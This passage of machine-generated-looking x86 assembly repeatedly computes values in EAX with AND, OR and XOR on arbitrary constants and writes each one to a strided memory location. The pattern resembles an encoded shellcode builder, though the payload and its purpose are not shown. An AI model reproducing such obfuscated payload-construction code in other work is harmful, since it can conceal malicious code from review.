and eax, 0xcc4fa0b
and eax, 0x4440002
or eax, 0xe82212d0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4f01b9fb
or eax, 0x22321dda
and eax, 0x261510
or eax, 0x14080000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x394e2824
and eax, 0x601d10
or eax, 0xc01f4200
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6d2807c7
and eax, 0x40200600
or eax, 0x1405b8a1
mov dword [ebx], eax
add ebx, ecx
and eax, 0x692f7c1a
and eax, 0x40012c00
or eax, 0x2410c2c3
mov dword [ebx], eax
add ebx, ecx
and eax, 0x46ac5f17
and eax, 0x44000a01
or eax, 0x90061068
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7a1e6bc1
and eax, 0x20004188
or eax, 0x41e58e56
mov dword [ebx], eax
add ebx, ecx
and eax, 0x234a640d
and eax, 0x100000c
or eax, 0x54a913b2
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4e503412
and eax, 0xa0222c
or eax, 0xc0065042
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4cb366fc
and eax, 0x8c150092
or eax, 0x538aa821
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4f65b2b4
xor eax, 0x1c53ddf1
and eax, 0x80290396
or eax, 0x61543000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3685794b
and eax, 0xa1ed5a11
or eax, 0x8008020
mov dword [ebx], eax
add ebx, ecx
or eax, 0x37703341
and eax, 0x86fc4371
or eax, 0x40020082
mov dword [ebx], eax
add ebx, ecx
and eax, 0x147f77c1
or eax, 0x6579aa28
and eax, 0x605e8861
or eax, 0x90000406
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x57370eca
or eax, 0x1e58dd74
and eax, 0x85791389
or eax, 0x40060002
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3065dfc1
or eax, 0x713296ee
and eax, 0x31779462
or eax, 0x86882010
mov dword [ebx], eax
add ebx, ecx
and eax, 0x150c8e05
and eax, 0x10c8000
or eax, 0xa8c17107
mov dword [ebx], eax
add ebx, ecx
or eax, 0x43ace1e
and eax, 0x20701d0a
or eax, 0x40000020
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x41137a9f
and eax, 0x636000
or eax, 0xda808008
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3949cb24
or eax, 0x21f7536c
and eax, 0xe39f6208
or eax, 0x8008012
mov dword [ebx], eax
add ebx, ecx
or eax, 0x607dd2e4
and eax, 0x22975c28
and eax, 0x2125028
or eax, 0x54202350
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x737983cd
or eax, 0x671cee47
and eax, 0x2006f2d6
or eax, 0x90800008
mov dword [ebx], eax
add ebx, ecx
and eax, 0x76ad46d8
xor eax, 0x7597c403
and eax, 0x44130081
or eax, 0x8047100
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1f156a88
and eax, 0xc042080
or eax, 0x71681260
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x29c4706b
and eax, 0x280289
or eax, 0x8903a840
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4ab49cba
and eax, 0xc1112460
or eax, 0x60098c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2ae9b3ab
and eax, 0xa151ab27
or eax, 0x60010
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2e2aa78f
and eax, 0x86380438
or eax, 0x1082f147
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x19ec6c4d
or eax, 0x6f59534c
and eax, 0xe7081920
or eax, 0x202481
mov dword [ebx], eax
add ebx, ecx
and eax, 0x72aa0e24
xor eax, 0x7d42bedb
and eax, 0x19481242
or eax, 0x910900
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7d65b4b1
or eax, 0x2ccf27e0
and eax, 0xcbe2f03
or eax, 0x1000008
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2185f0d6
and eax, 0x115185
or eax, 0x52c00020
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4da37aab
xor eax, 0xc78b2ee
and eax, 0x30a1980
or eax, 0xc4546411
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x74878fea
and eax, 0xb2901030
or eax, 0x40020c04
mov dword [ebx], eax
add ebx, ecx
and eax, 0xf8a01ef
and eax, 0x24
or eax, 0x143db492
mov dword [ebx], eax
add ebx, ecx
and eax, 0x26aa4f00
or eax, 0x2901b91
and eax, 0x6181501
or eax, 0x20008022
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1bd53fe7
and eax, 0x2001000
or eax, 0x356388c4
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3cc059e0
or eax, 0x5e2327e6
and eax, 0x262121c6
or eax, 0x190c010
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5c22c203
or eax, 0x3e0c40a1
and eax, 0x30044083
or eax, 0x183281c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x22405353
or eax, 0x5905d426
and eax, 0x5bc3662a
or eax, 0xa4280000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6886314b
and eax, 0x87051400
or eax, 0x68902014
mov dword [ebx], eax
add ebx, ecx
or eax, 0x234b6cac
xor eax, 0x27ef04e
and eax, 0x5a10ca0
or eax, 0x120e230c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3a071d35
and eax, 0x116371ca
and eax, 0x1031180
or eax, 0x28c8ca07
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1b8b87fd
or eax, 0x72bad9f9
and eax, 0x24adcb9
or eax, 0x88010004
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2fd74fa5
or eax, 0x78d7e518
and eax, 0xb508d608
or eax, 0x200866
mov dword [ebx], eax
add ebx, ecx
or eax, 0x59352a1d
and eax, 0xed1d5e25
or eax, 0x420180
mov dword [ebx], eax
add ebx, ecx
and eax, 0x49feb467
or eax, 0x58439273
and eax, 0x50130210
or eax, 0x26802188
mov dword [ebx], eax
add ebx, ecx
or eax, 0x29c5a879
xor eax, 0x394d8c2a
and eax, 0x69226c3
or eax, 0x98409000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3cf71c5b
and eax, 0x82458a1a
or eax, 0x1084124
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3fed94a4
and eax, 0x10800882
or eax, 0x415da045
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5710b90d
and eax, 0x72aad9e4
and eax, 0x2001000
or eax, 0x1d662417
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5d9ab589
and eax, 0xc8ca26d
and eax, 0xc08a005
or eax, 0x606251d2
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2cdf6f9f
and eax, 0x680e9614
or eax, 0x93000020
mov dword [ebx], eax
add ebx, ecx
and eax, 0x183a7b1e
or eax, 0x14d3ba33
and eax, 0x14430a24
or eax, 0x43200580
mov dword [ebx], eax
add ebx, ecx
or eax, 0x28e6990c
or eax, 0xd90916a
and eax, 0x6ce09c02
or eax, 0x80086010
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6f6d77a7
and eax, 0x2010890
or eax, 0x647a7000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1e641057
or eax, 0x1c1bb520
and eax, 0x103b9000
or eax, 0x80800846
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5de76904
and eax, 0x84084140
or eax, 0x2000048c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2ccc9390
xor eax, 0x30327223
and eax, 0x84e025a7
or eax, 0x3015000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x743d9b62
or eax, 0x4f4d8c8a
and eax, 0x298828
or eax, 0x30902015
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x34936ef4
and eax, 0x280688
or eax, 0xe0541032
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7c2a93dd
and eax, 0xb82e94b5
or eax, 0x16000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x58ba103d
xor eax, 0x2a0c68d2
and eax, 0x22060827
or eax, 0x4d018010
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2f86d9d5
xor eax, 0x2d2c2f55
and eax, 0x5003ca6
or eax, 0x2520008
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1774a5b7
or eax, 0xf27f026
and eax, 0x1922210c
or eax, 0x60100280
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x640e5d66
xor eax, 0x54cec41e
and eax, 0x40702274
or eax, 0xb4040503
mov dword [ebx], eax
add ebx, ecx
or eax, 0x46dd4734
and eax, 0x90044601
or eax, 0x21000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x33fce7a4
and eax, 0x10044000
or eax, 0x61f00992
mov dword [ebx], eax
add ebx, ecx
or eax, 0x67957c81
xor eax, 0x40bebda3
and eax, 0x3548c020
or eax, 0xc8a41b0a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4d3163da
and eax, 0x3e2a8dba
and eax, 0x820001a
or eax, 0x1412405
mov dword [ebx], eax
add ebx, ecx
and eax, 0x9c19cac
or eax, 0x13f81dbe
and eax, 0x1b901d3e
or eax, 0xe4066041
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6a21e04b
and eax, 0x9d13592b
or eax, 0x480200
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2afb54b0
and eax, 0x99081a81
or eax, 0x40008004
mov dword [ebx], eax
add ebx, ecx
or eax, 0x452cee0b
and eax, 0x1d002404
or eax, 0x20010150
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x155ab70e
and eax, 0x419040
or eax, 0xd1802981
mov dword [ebx], eax
add ebx, ecx
and eax, 0x27eaf45
and eax, 0x882aae7
and eax, 0x8001
or eax, 0x29a15102
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6f551c10
and eax, 0x9010000
or eax, 0x144e2745
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5d8ddace
and eax, 0x5000004
or eax, 0x2010a4bb
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5eb8ec0c
and eax, 0x7a004802
or eax, 0x84021640
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5e0c3d8b
and eax, 0x4e001802
or eax, 0x81c14309
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x696fbcd
and eax, 0x58d50963
and eax, 0x40042
or eax, 0x480cd81
mov dword [ebx], eax
add ebx, ecx
and eax, 0x21e834db
and eax, 0x59f15e8f
and eax, 0x83
or eax, 0x210dbb48
mov dword [ebx], eax
add ebx, ecx
or eax, 0x786baa69
and eax, 0x16d812b
or eax, 0x900004
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1a44f25f
and eax, 0x18675233
and eax, 0x10214210
or eax, 0xa2888544
mov dword [ebx], eax
add ebx, ecx
or eax, 0x74748995
and eax, 0x82ac4f14
or eax, 0x9021022
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7653872e
and eax, 0x31f94401
and eax, 0x20690000
or eax, 0xce022bd4
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5e10cef3
and eax, 0x80596507
or eax, 0x420418d8
mov dword [ebx], eax
add ebx, ecx
and eax, 0x17e3241d
and eax, 0x41001c
or eax, 0xa1a24b42
mov dword [ebx], eax
add ebx, ecx
or eax, 0x57350217
xor eax, 0x596b5000
and eax, 0x2818080b
or eax, 0x40a0a0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5757a90e
or eax, 0x7e6e76b9
and eax, 0x572777b5
or eax, 0x80908802
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7facedaa
and eax, 0x7a42582
or eax, 0x28020259
mov dword [ebx], eax
add ebx, ecx
or eax, 0x151595b5
xor eax, 0x56c530fe
and eax, 0x500301
or eax, 0x94096062
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6e2369ad
and eax, 0x3d1bc50b
and eax, 0x18000a
or eax, 0xc2a0e1e4
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4407d3fe
and eax, 0x2b73c255
and eax, 0x2234244
or eax, 0xc1880088
mov dword [ebx], eax
add ebx, ecx
or eax, 0x187ada25
and eax, 0x186b4229
or eax, 0x4000512
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x76c7309
or eax, 0xa51b6c1
and eax, 0x19439253
or eax, 0xa4880804
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4cc0ad5d
and eax, 0x80020608
or eax, 0xed488d1
mov dword [ebx], eax
add ebx, ecx
and eax, 0x52ae60fb
and eax, 0x2060049
or eax, 0x80295506
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2d3ba10
and eax, 0x442f58
or eax, 0x53000020
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5dcde11f
xor eax, 0x488c4a2
and eax, 0xac1
or eax, 0xb1a2e010
mov dword [ebx], eax
add ebx, ecx
or eax, 0x60e2b93e
and eax, 0x80a0bbcd
or eax, 0x90000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x32a7c2bb
and eax, 0x222062e7
or eax, 0x4d400400
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7d0c2558
and eax, 0x68000000
or eax, 0x10649393
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x18e772c2
or eax, 0x74ff7214
and eax, 0x140ba311
or eax, 0x8000482
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1dafeefb
xor eax, 0x47b89419
and eax, 0x41b11008
or eax, 0x564
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4fcc08ff
and eax, 0x2780401
or eax, 0x91008000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x57a825be
xor eax, 0x7df8f697
and eax, 0x82004300
or eax, 0x53f8013
mov dword [ebx], eax
add ebx, ecx
and eax, 0x175d5af
and eax, 0x1148002
or eax, 0xf6880aa4
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3ca5110a
and eax, 0x17173311
and eax, 0x111100
or eax, 0xfc4c48a8
mov dword [ebx], eax
add ebx, ecx
and eax, 0x552ff4a9
xor eax, 0x6aee1493
and eax, 0x28024009
or eax, 0x41183244
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x15ecdb6b
and eax, 0x60120106
or eax, 0x2004040
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x55ef9812
xor eax, 0x1127ec84
and eax, 0x22920450
or eax, 0x9804ca25
mov dword [ebx], eax
add ebx, ecx
and eax, 0x33ff90f5
and eax, 0x10140000
or eax, 0x8c08198a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x9f51227
and eax, 0x2f4d9ee
and eax, 0x1002
or eax, 0x978b4f3d
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1433faec
xor eax, 0x5d1922d7
and eax, 0xaa10604
or eax, 0x211200d0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7b90b6a9
and eax, 0x32edcca4
and eax, 0x2800480
or eax, 0x543d816d
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x570948f1
and eax, 0x615a1d59
and eax, 0x110
or eax, 0x6acef086
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5cd5f0c4
and eax, 0x4cc6d152
or eax, 0x81200829
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5d2a38c4
and eax, 0x4d200040
or eax, 0xb01060a9
mov dword [ebx], eax
add ebx, ecx
and eax, 0x62ba0b74
and eax, 0x200040
or eax, 0x8480109d
mov dword [ebx], eax
add ebx, ecx
or eax, 0x463d3b5b
and eax, 0x86913b93
or eax, 0x39028000
mov dword [ebx], eax
add ebx, ecx
and eax, 0xce65388
and eax, 0x1180
or eax, 0x733d8013
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6c5fd369
and eax, 0x5935c269
or eax, 0x800
mov dword [ebx], eax
add ebx, ecx
or eax, 0x644b8985
and eax, 0x40c4ac5
or eax, 0x80003412
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x476f7631
and eax, 0x43030880
or eax, 0x2c18d400
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3a4dc09c
or eax, 0x1cd6a4a0
and eax, 0x51502894
or eax, 0x22284103
mov dword [ebx], eax
add ebx, ecx
or eax, 0x40b4c74f
and eax, 0x736844d4
or eax, 0x8021000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1b9c55b1
and eax, 0x42a21555
or eax, 0x80008202
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2f5de1db
or eax, 0x28f31a93
and eax, 0xcc283084
or eax, 0x40
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1b2f8144
and eax, 0x95078000
or eax, 0x20a84638
mov dword [ebx], eax
add ebx, ecx
and eax, 0x66e9d012
and eax, 0x2401c010
or eax, 0x4a120545
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xc5e9474
xor eax, 0xff40b09
and eax, 0x25110820
or eax, 0x804481d5
mov dword [ebx], eax
add ebx, ecx
and eax, 0x10085852
and eax, 0x6a19eae1
and eax, 0x40
or eax, 0xde5e77ad
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3c8bcb55
and eax, 0x40a4000
or eax, 0x22e59402
mov dword [ebx], eax
add ebx, ecx
or eax, 0x25ff6d96
and eax, 0x22a51406
or eax, 0x90000229
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5b8d4d0b
and eax, 0x812c4e02
or eax, 0x452a010
mov dword [ebx], eax
add ebx, ecx
and eax, 0xb56391e
and eax, 0x2d5c9dd7
and eax, 0x1100812
or eax, 0xbc0942e5
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6216afda
and eax, 0x4712c7a3
or eax, 0x801000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4d68e7ea
or eax, 0x215db76c
and eax, 0x2b0aa44c
or eax, 0x4000892
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5d3ebb3b
and eax, 0x1410a0
or eax, 0x5c3e000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x41738aeb
xor eax, 0x7d8ca5e9
and eax, 0x30284b80
or eax, 0x46d3005c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x696c8b
and eax, 0x44120103
or eax, 0x80c5020
mov dword [ebx], eax
add ebx, ecx
or eax, 0x68cef407
and eax, 0x648e3522
or eax, 0x90010218
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6e2aad20
and eax, 0x6fbaf479
and eax, 0xc88a030
or eax, 0x1114981
mov dword [ebx], eax
add ebx, ecx
or eax, 0x65b18863
or eax, 0x2e4b1ac3
and eax, 0x4be950d0
or eax, 0x10000004
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7c1ce446
or eax, 0x4b73e30e
and eax, 0x2dd0039e
or eax, 0x90000801
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2b03e64f
and eax, 0x9c136318
or eax, 0x201020
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3e19a022
and eax, 0x8018100a
or eax, 0xc4
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4f0dff67
and eax, 0x8d15a028
or eax, 0x20280014
mov dword [ebx], eax
add ebx, ecx
or eax, 0x13dd97e7
and eax, 0x15498556
or eax, 0x4000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3126e63
or eax, 0x7cd44fcb
and eax, 0x1414c835
or eax, 0x80200000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x852f790
and eax, 0xc000
or eax, 0xda4a0ded
mov dword [ebx], eax
add ebx, ecx
or eax, 0x47117a4c
or eax, 0x338fe6bf
and eax, 0xdd855e26
or eax, 0x200000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x268f890d
and eax, 0xe2a95a26
or eax, 0x102000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6eff74d2
and eax, 0x40083002
or eax, 0x1420bd0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x74795675
or eax, 0x1ee44c26
and eax, 0x23b83cc4
or eax, 0x80000000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x786efc83
and eax, 0x2b50e003
or eax, 0x4000000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5026a41b
and eax, 0x8003
or eax, 0x4d1a06d8
mov dword [ebx], eax
add ebx, ecx
or eax, 0x511f6321
and eax, 0x6f45eae1
and eax, 0x4d04c2e0
or eax, 0xc21d00
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x19e824ed
xor eax, 0x31e5d106
and eax, 0x60030203
or eax, 0x83090b0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5642efd5
and eax, 0x1ed31662
and eax, 0x10000020
or eax, 0x81280900
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6a0f4f3d
and eax, 0x51010600
or eax, 0x40001a2
mov dword [ebx], eax
add ebx, ecx
and eax, 0x31808b35
xor eax, 0x3cf6053e
and eax, 0x8d0000e
or eax, 0x5009f160
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x638d0968
xor eax, 0x2ad2050e
and eax, 0x86c508
or eax, 0xe6680053
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3c2626f2
or eax, 0x1487a707
and eax, 0x8a05c709
or eax, 0x1810
mov dword [ebx], eax
add ebx, ecx
or eax, 0xd29f220
xor eax, 0x7cc2ff17
and eax, 0xe282002e
or eax, 0xd251
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3516008e
and eax, 0x45944010
or eax, 0x2808280c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7fde17e6
and eax, 0x7941ad21
and eax, 0x41000000
or eax, 0x1489a390
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2ff6cd4a
and eax, 0x5000000
or eax, 0xea3e0e4e
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2abce359
xor eax, 0x58599bb
and eax, 0x80071484
or eax, 0x1d988a03
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xe06e5ce
and eax, 0x15a09
or eax, 0xc6604a6
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3572f6b8
and eax, 0x38208c03
or eax, 0xc2880000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4b06a0db
xor eax, 0x3bdb3395
and eax, 0x40209604
or eax, 0x2a026011
mov dword [ebx], eax
add ebx, ecx
and eax, 0x717789b7
and eax, 4
or eax, 0x9b0d7dea
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7fa0f936
and eax, 0x18005922
or eax, 0x60e88099
mov dword [ebx], eax
add ebx, ecx
or eax, 0x49b15126
xor eax, 0x458bc69f
and eax, 0x18201e20
or eax, 0x80e0ce
mov dword [ebx], eax
add ebx, ecx
or eax, 0xb20aeba
and eax, 0x12009ca0
or eax, 0xe4060101
mov dword [ebx], eax
add ebx, ecx
and eax, 0x79a6d752
or eax, 0x6ef2597d
and eax, 0x24c65018
or eax, 0x81082280
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1c1e7a5d
and eax, 0xa0210
or eax, 0xba180c2
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1c9a2d09
and eax, 0x11212fc3
or eax, 0x408e1020
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x686ff782
and eax, 0x38804020
or eax, 0x4039071c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2781976
and eax, 0x50801840
or eax, 0x1220014
mov dword [ebx], eax
add ebx, ecx
or eax, 0x30413402
and eax, 0x10c22c00
or eax, 0x8a08c121
mov dword [ebx], eax
add ebx, ecx
or eax, 0x76f7c61f
and eax, 0x68310415
or eax, 0x40
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5b027b34
xor eax, 0x6887f236
and eax, 0x2006f202
or eax, 0x9f400888
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x17b95dc
or eax, 0x6c73cca6
and eax, 0xda4a2362
or eax, 0x1009
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3297f4d5
and eax, 0x515db1b
and eax, 0x1000
or eax, 0xccbfe88e
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6e661a1a
and eax, 0x530e7206
and eax, 0x420a2200
or eax, 0x98d08c50
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1be5779
and eax, 0x73b692c0
and eax, 0x100200
or eax, 0x3208683e
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4dc2ff43
and eax, 0x78fb0cf
and eax, 0x5888042
or eax, 0xa8710a00
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5ccaea8a
or eax, 0x7cb0afc3
and eax, 0x74588482
or eax, 0x80051004
mov dword [ebx], eax
add ebx, ecx
or eax, 0x30e3e4b6
and eax, 0x7f2c4cab
and eax, 0x60044480
or eax, 0x88002105
mov dword [ebx], eax
add ebx, ecx
or eax, 0x68717ed5
xor eax, 0x56867041
and eax, 0x86730580
or eax, 0x104e048
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7946d110
and eax, 0x410ecef2
and eax, 0x90
or eax, 0x2ad6d008
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4c7b5e3c
and eax, 0x424008
or eax, 0x230c8820
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x32b1ce8a
xor eax, 0x5467e6e7
and eax, 0x1802045
or eax, 0x92411f92
mov dword [ebx], eax
add ebx, ecx
and eax, 0xd807ee3
and eax, 0x5dbbd50d
and eax, 0x1801000
or eax, 0xaa0600c8
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4f4c5473
xor eax, 0x474c138b
and eax, 0xa1845400
or eax, 0x11280e
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5fe02115
xor eax, 0x4815275d
and eax, 0x48100641
or eax, 0xa60a4822
mov dword [ebx], eax
add ebx, ecx
or eax, 0x230ea778
xor eax, 0x1c71ad41
and eax, 0xb2660212
or eax, 0x490a004
mov dword [ebx], eax
add ebx, ecx
or eax, 0x69cfd23
and eax, 0x32ca1f02
or eax, 0x10088
mov dword [ebx], eax
add ebx, ecx
or eax, 0x46ff40a1
xor eax, 0x1d315dad
and eax, 0x23060002
or eax, 0x4309009
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3c424d02
xor eax, 0x43a17d6c
and eax, 0x5c932007
or eax, 0x81081898
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6744e2cb
and eax, 0x7ac81a52
or eax, 0x20
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xc8fb0b9
and eax, 0x32410003
or eax, 0x9285430
mov dword [ebx], eax
add ebx, ecx
or eax, 0x72b9cca9
and eax, 0x1a899c28
or eax, 0x84002344
mov dword [ebx], eax
add ebx, ecx
and eax, 0x77749b98
and eax, 0x16001300
or eax, 0x601124d4
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3805e1bf
xor eax, 0x2ebe58ca
and eax, 0x40a88c01
or eax, 0x9c545050
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x71ec3f5c
xor eax, 0x75bbaee4
and eax, 0x10a10c01
or eax, 0x1508214
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3c722449
and eax, 0x2402824c
or eax, 0x103040a0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x15654b49
and eax, 0x4004240
or eax, 0x15f88b3
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7b52943b
and eax, 0x241dc640
or eax, 0x80002004
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2e9e6e0e
and eax, 0x2401200c
or eax, 0x50000121
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3d4aa690
and eax, 0x484381b5
or eax, 0x82043042
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3ac5e8a4
and eax, 0x463f75ec
and eax, 0x2014140
or eax, 0x90b00819
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2eba42
and eax, 0x8016631b
or eax, 0x2c000020
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2e556022
and eax, 0xc002020
or eax, 0x12491219
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7d0cfa76
and eax, 0xc091a71
or eax, 0x920180
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x239436ee
or eax, 0x7fbcfe98
and eax, 0x28ae3914
or eax, 0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x76490944
or eax, 0x55f2eb13
and eax, 0x40c0a804
or eax, 0xa010048
mov dword [ebx], eax
add ebx, ecx
or eax, 0x65631c8d
and eax, 0x6f600c09
or eax, 0x80044310
mov dword [ebx], eax
add ebx, ecx
or eax, 0x323e4d80
and eax, 0x7691f74a
and eax, 0x12104200
or eax, 0x88442064
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x8c7f49b
and eax, 0x829390da
or eax, 0x6d0c4000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2740738c
or eax, 0x10540ce
and eax, 0x220540c6
or eax, 0x58d08500
mov dword [ebx], eax
add ebx, ecx
or eax, 0x48f30bb9
and eax, 0x48c54c0c
or eax, 0x1080000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x18568b07
and eax, 0x85a8208
or eax, 0x86000000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2a7410b8
xor eax, 0x143757c4
and eax, 0x8000c530
or eax, 0x1a62882
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x67a51124
xor eax, 0x4c66da4f
and eax, 0x8a240640
or eax, 0x45884802
mov dword [ebx], eax
add ebx, ecx
and eax, 0x213f9
and eax, 0x40
or eax, 0x8d03f183
mov dword [ebx], eax
add ebx, ecx
or eax, 0x40a88dca
xor eax, 0x6089c96b
and eax, 0xa1000400
or eax, 0x500d894b
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7316d2aa
and eax, 0x2195501
or eax, 0x41008004
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xacf4308
or eax, 0x4bfbd9c7
and eax, 0x4349d5c9
or eax, 0x24000030
